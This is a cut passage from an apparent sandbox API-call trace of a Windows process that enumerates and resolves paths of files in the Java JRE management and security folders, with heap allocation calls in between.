ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0133.125] GetCurrentThreadId () returned 0x9b0 [0133.125] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0133.125] GetCurrentThreadId () returned 0x9b0 [0133.125] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0133.125] GetCurrentThreadId () returned 0x9b0 [0133.125] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0133.125] GetCurrentThreadId () returned 0x9b0 [0133.125] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0133.126] GetCurrentThreadId () returned 0x9b0 [0133.126] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0133.126] GetCurrentThreadId () returned 0x9b0 [0133.126] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0133.126] GetCurrentThreadId () returned 0x9b0 [0133.126] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0133.127] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0133.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0133.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0133.128] GetCurrentThreadId () returned 0x9b0 [0133.128] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0133.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0133.129] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0133.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0133.129] GetCurrentThreadId () returned 0x9b0 [0133.129] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0133.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0133.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0133.130] GetCurrentThreadId () returned 0x9b0 [0133.130] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access", lpFilePart=0x9bada4*="jmxremote.access") returned 0x42 [0133.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0133.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0133.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0133.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0133.130] GetCurrentThreadId () returned 0x9b0 [0133.130] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", lpFilePart=0x9bada4*="jmxremote.password.template") returned 0x4d [0133.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.131] GetCurrentThreadId () returned 0x9b0 [0133.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0133.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0133.131] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties", lpFilePart=0x9bada4*="management.properties") returned 0x47 [0133.131] GetCurrentThreadId () returned 0x9b0 [0133.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0133.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0133.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0133.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0133.131] GetCurrentThreadId () returned 0x9b0 [0133.132] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", lpFilePart=0x9bada4*="snmp.acl.template") returned 0x43 [0133.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.132] GetCurrentThreadId () returned 0x9b0 [0133.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0133.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0133.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.132] GetCurrentThreadId () returned 0x9b0 [0133.132] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0133.134] GetCurrentThreadId () returned 0x9b0 [0133.134] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0133.134] GetCurrentThreadId () returned 0x9b0 [0133.134] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0133.134] GetCurrentThreadId () returned 0x9b0 [0133.134] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0133.134] GetCurrentThreadId () returned 0x9b0 [0133.134] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="cacerts", cAlternateFileName="")) returned 1 [0133.135] GetCurrentThreadId () returned 0x9b0 [0133.135] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0133.135] GetCurrentThreadId () returned 0x9b0 [0133.135] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0133.135] GetCurrentThreadId () returned 0x9b0 [0133.135] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0133.135] GetCurrentThreadId () returned 0x9b0 [0133.135] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0133.135] GetCurrentThreadId () returned 0x9b0 [0133.135] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0133.135] GetCurrentThreadId () returned 0x9b0 [0133.136] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0133.136] GetCurrentThreadId () returned 0x9b0 [0133.136] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0133.136] GetCurrentThreadId () returned 0x9b0 [0133.136] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0133.137] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0133.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0133.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0133.138] GetCurrentThreadId () returned 0x9b0 [0133.138] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0133.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0133.141] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0133.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0133.141] GetCurrentThreadId () returned 0x9b0 [0133.142] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0133.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0133.142] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0133.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0133.143] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x33eafa8 [0133.143] GetCurrentThreadId () returned 0x9b0 [0133.143] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0133.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0133.143] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0133.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0133.143] GetCurrentThreadId () returned 0x9b0 [0133.144] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries")) returned 0x20 [0133.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0133.144] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0133.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0133.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eafa8, Size=0x40) returned 0x3887530 [0133.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0133.144] GetCurrentThreadId () returned 0x9b0 [0133.144] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", lpFilePart=0x9bada4*="blacklist") returned 0x39 [0133.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0133.145] GetCurrentThreadId () returned 0x9b0 [0133.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0133.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0133.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0133.145] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs", lpFilePart=0x9bada4*="blacklisted.certs") returned 0x41 [0133.145] GetCurrentThreadId () returned 0x9b0 [0133.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0133.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.146] GetCurrentThreadId () returned 0x9b0 [0133.146] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", lpFilePart=0x9bada4*="cacerts") returned 0x37 [0133.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0133.146] GetCurrentThreadId () returned 0x9b0 [0133.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0133.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0133.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.147] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy", lpFilePart=0x9bada4*="java.policy") returned 0x3b [0133.147] GetCurrentThreadId () returned 0x9b0 [0133.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0133.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0133.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0133.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0133.147] GetCurrentThreadId () returned 0x9b0 [0133.147] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security", lpFilePart=0x9bada4*="java.security") returned 0x3d [0133.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0133.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0133.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0133.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0133.148] GetCurrentThreadId () returned 0x9b0 [0133.148] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy", lpFilePart=0x9bada4*="javaws.policy") returned 0x3d [0133.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0133.148] GetCurrentThreadId () returned 0x9b0 [0133.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0133.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.148] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", lpFilePart=0x9bada4*="local_policy.jar") returned 0x40 [0133.148] GetCurrentThreadId () returned 0x9b0 [0133.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0133.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0133.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0133.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0133.149] GetCurrentThreadId () returned 0x9b0 [0133.149] RtlAllocateHeap (HeapHandle=0x2ad0000, 